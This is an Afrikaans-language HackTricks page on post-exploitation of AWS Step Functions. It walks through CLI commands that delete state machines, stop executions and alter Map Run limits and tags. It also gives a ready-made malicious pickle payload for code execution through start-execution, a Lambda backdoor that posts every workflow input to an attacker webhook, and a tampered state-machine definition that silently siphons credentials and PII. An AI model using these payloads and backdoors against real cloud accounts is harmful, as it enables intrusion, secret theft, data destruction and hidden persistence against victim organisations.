AWS - Step Functions Post Exploitation

Tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Step Functions

Vir meer inligting oor hierdie AWS-diens, sien:

AWS - Step Functions Enum

states:RevealSecrets

Hierdie toestemming maak dit moontlik om geheime data binne ’n uitvoering te openbaar. Hiervoor moet die Inspection-vlak op TRACE gestel word en die revealSecrets-parameter op true.

states:DeleteStateMachine, states:DeleteStateMachineVersion, states:DeleteStateMachineAlias

’n Aanvaller met hierdie permissies sal in staat wees om staatmasjiene, hul weergawes en aliasse permanent te verwyder. Dit kan kritieke workflowe ontwrig, tot dataverlies lei en aansienlike tyd vereis om die betrokke staatmasjiene te herstel en terug te stel. Boonop sal dit ’n aanvaller toelaat om die gebruikte spore uit te wis, forensiese ondersoeke te ontwrig en potensieel bedrywighede lam te lĂȘ deur noodsaaklike outomatiseringsprosesse en staatkonfigurasies te verwyder.

Note

  • Wanneer jy ’n staatmasjien verwyder, verwyder jy ook al sy geassosieerde weergawes en aliasse.
  • Wanneer jy ’n staatmasjien-alias verwyder, verwyder jy nie die staatmasjienweergawes wat na hierdie alias verwys nie.
  • Dit is nie moontlik om ’n staatmasjienweergawe te verwyder wat tans deur een of meer aliasse verwys word nie.
# Delete state machine
aws stepfunctions delete-state-machine --state-machine-arn <value>
# Delete state machine version
aws stepfunctions delete-state-machine-version --state-machine-version-arn <value>
# Delete state machine alias
aws stepfunctions delete-state-machine-alias --state-machine-alias-arn <value>
  • PotensiĂ«le impak: Versteuring van kritieke werkvloei, dataverlies en bedryfsstilstand.

states:UpdateMapRun

’n aanvaller met hierdie toestemming kan die Map Run-foutkonfigurasie en parallel-instelling manipuleer, en die maksimum aantal toegelate kind-workflow-uitvoerings verhoog of verlaag, wat ’n direkte invloed op die diens se prestasie het. Boonop kan ’n aanvaller knoei met die toegelate foutpersentasie en -telling, en hierdie waarde tot 0 verlaag, sodat elke keer as ’n item faal die hele Map Run sou misluk, wat direk die staatmasjien-uitvoering raak en moontlik kritieke werkvloei ontwrig.

aws stepfunctions update-map-run --map-run-arn <value> [--max-concurrency <value>] [--tolerated-failure-percentage <value>] [--tolerated-failure-count <value>]
  • PotensiĂ«le impak: Prestasievermindering en ontwrigting van kritieke werkvloei.

states:StopExecution

’n aanvaller met hierdie toestemming kan die uitvoering van enige state machine stop, wat lopende werkvloei en prosesse ontwrig. Dit kan lei tot onvolledige transaksies, gestopte besigheidsbedrywighede en potensiĂ«le databeskadiging.

Warning

Hierdie aksie word nie deur express state machines ondersteun nie.

aws stepfunctions stop-execution --execution-arn <value> [--error <value>] [--cause <value>]
  • PotensiĂ«le impak: Ontwrigting van lopende werkvloei, bedryfsstilstand, en potensiĂ«le datakorruptie.

states:TagResource, states:UntagResource

’n Aanvaller kan tags by Step Functions-hulpbronne voeg, wysig of verwyder, wat jou organisasie se koste-toewysing, hulpbronopsporing en toegangskontrolebeleid wat op tags gebaseer is, ontwrig.

aws stepfunctions tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
aws stepfunctions untag-resource --resource-arn <value> --tag-keys <key>

Potensiële impak: Ontwrigting van koste-toewysing, hulpbronopsporing en etiketgebaseerde toegangsbeheerbeleide.


states:StartExecution -> Input Injection Into Dangerous Sinks

states:StartExecution is ’n data-plane toegangspunt. As ’n state machine aanvaller-gekontroleerde inset na ’n taak deurstuur wat ’n gevaarlike sink bevat (byvoorbeeld ’n Lambda wat pickle.loads(base64.b64decode(payload_b64))), kan jy soms StartExecution omskakel na code execution en secret exfiltration deur die uitvoeringuitset, sonder enige toestemming om die state machine op te dateer.

Ontdek die workflow en die aangeroepe Lambda

As jy states:List* / states:Describe* het, kan jy die state machine-definisie opnoem en lees:

REGION=us-east-1
SM_ARN="<state_machine_arn>"

aws stepfunctions describe-state-machine --region "$REGION" --state-machine-arn "$SM_ARN" --query definition --output text

As jy ook lambda:GetFunction het, kan jy die Lambda-kodebundel aflaai om te verstaan hoe invoer verwerk word (en bevestig of onveilige deserialisering bestaan):

LAMBDA_ARN="<lambda_arn_from_definition>"
CODE_URL="$(aws lambda get-function --region "$REGION" --function-name "$LAMBDA_ARN" --query 'Code.Location' --output text)"
curl -sSL "$CODE_URL" -o /tmp/lambda.zip
unzip -o /tmp/lambda.zip -d /tmp/lambda_code >/dev/null
ls -la /tmp/lambda_code

Voorbeeld: crafted pickle in execution input (Python)

Indien die Lambda ‘unpickles’ deur die aanvaller beheerste data, kan ’n kwaadwillige pickle tydens deserialisering kode uitvoer. Voorbeeld payload wat ’n Python-uitdrukking in die Lambda runtime evalueer:

PAYLOAD_B64="$(python3 - <<'PY'
import base64, pickle

class P:
def __reduce__(self):
# Replace with a safe proof (e.g. "1+1") or a target-specific read.
return (eval, ("__import__('os').popen('id').read()",))

print(base64.b64encode(pickle.dumps(P())).decode())
PY
)"

EXEC_ARN="$(aws stepfunctions start-execution --region "$REGION" --state-machine-arn "$SM_ARN" --input "{\"payload_b64\":\"$PAYLOAD_B64\"}" --query executionArn --output text)"
aws stepfunctions describe-execution --region "$REGION" --execution-arn "$EXEC_ARN" --query output --output text

Impak: Watter permissies die task role ook al het (Secrets Manager reads, S3 writes, KMS decrypt, ens.) kan via gespesialiseerde insette bereikbaar raak, en die resultaat kan in die Step Functions-uitset van die uitvoering teruggegee word.

states:UpdateStateMachine, lambda:UpdateFunctionCode

’n aanvaller wat ’n gebruiker of rol kompromitteer met die volgende toestemmings:

{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "AllowUpdateStateMachine",
"Effect": "Allow",
"Action": "states:UpdateStateMachine",
"Resource": "*"
},
{
"Sid": "AllowUpdateFunctionCode",
"Effect": "Allow",
"Action": "lambda:UpdateFunctionCode",
"Resource": "*"
}
]
}


kan ’n high-impact and stealthy post-exploitation attack uitvoer deur Lambda backdooring te kombineer met Step Function logika-manipulasie.

Hierdie scenario gaan daarvan uit dat die slagoffer AWS Step Functions gebruik om workflows te orkestreer wat sensitiewe invoer verwerk, soos credentials, tokens, of PII.

Voorbeeld slagoffer-aanroep:

aws stepfunctions start-execution \
--state-machine-arn arn:aws:states:us-east-1:<victim-account-id>:stateMachine:LegitStateMachine \
--input '{"email": "victim@example.com", "password": "hunter2"}' --profile victim

Indien die Step Function gekonfigureer is om ’n Lambda soos LegitBusinessLogic aan te roep, kan die aanvaller voortgaan met twee onopvallende aanval-variante:


Lambda-funksie bygewerk

Die aanvaller wysig die kode van die Lambda-funksie wat reeds deur die Step Function gebruik word (LegitBusinessLogic) om stilweg invoerdata te exfiltrate.

# send_to_attacker.py
import requests

def lambda_handler(event, context):
requests.post("https://webhook.site/<attacker-id>/exfil", json=event)
return {"status": "exfiltrated"}
zip function.zip send_to_attacker.py

aws lambda update-function-code \
--function-name LegitBusinessLogic \
--zip-file fileb://function.zip -profile attacker

Voeg ’n kwaadaardige toestand by die Step Function

Alternatiewelik kan die aanvaller ’n exfiltration state aan die begin van die werkvloei injekteer deur die Step Function-definisie by te werk.

{
"Comment": "Backdoored for Exfiltration",
"StartAt": "OriginalState",
"States": {
"OriginalState": {
"Type": "Task",
"Resource": "arn:aws:lambda:us-east-1:<victim-id>:function:LegitBusinessLogic",
"End": true
}
}
}

aws stepfunctions update-state-machine \
--state-machine-arn arn:aws:states:us-east-1:<victim-id>:stateMachine:LegitStateMachine \
--definition file://malicious_state_definition.json --profile attacker

Die aanvaller kan selfs meer onopgemerk die state-definisie bywerk na iets soos dit { “Comment”: “Backdoored for Exfiltration”, “StartAt”: “ExfiltrateSecrets”, “States”: { “ExfiltrateSecrets”: { “Type”: “Task”, “Resource”: “arn:aws:lambda:us-east-1:victim-id:function:SendToAttacker”, “InputPath”: “$”, “ResultPath”: “$.exfil”, “Next”: “OriginalState” }, “OriginalState”: { “Type”: “Task”, “Resource”: “arn:aws:lambda:us-east-1:victim-id:function:LegitBusinessLogic”, “End”: true } } } waar die slagoffer nie die verskil sal besef nie


Slagoffer-opstelling (Konteks for Exploit)

  • ’n Step Function (LegitStateMachine) word gebruik om sensitiewe gebruikersinvoer te verwerk.
  • Dit roep een of meer Lambda-funksies soos LegitBusinessLogic.

Potensiële impak:

  • Stil exfiltrasie van sensitiewe data, insluitend secrets, credentials, API keys en PII.
  • Geen sigbare foute of mislukkings in workflow-uitvoering nie.
  • Moeilik om te ontdek sonder om Lambda-kode of uitvoeringstraces te oudit.
  • Maak langtermyn persistentie moontlik as backdoor in kode of ASL-logika bly.

Tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks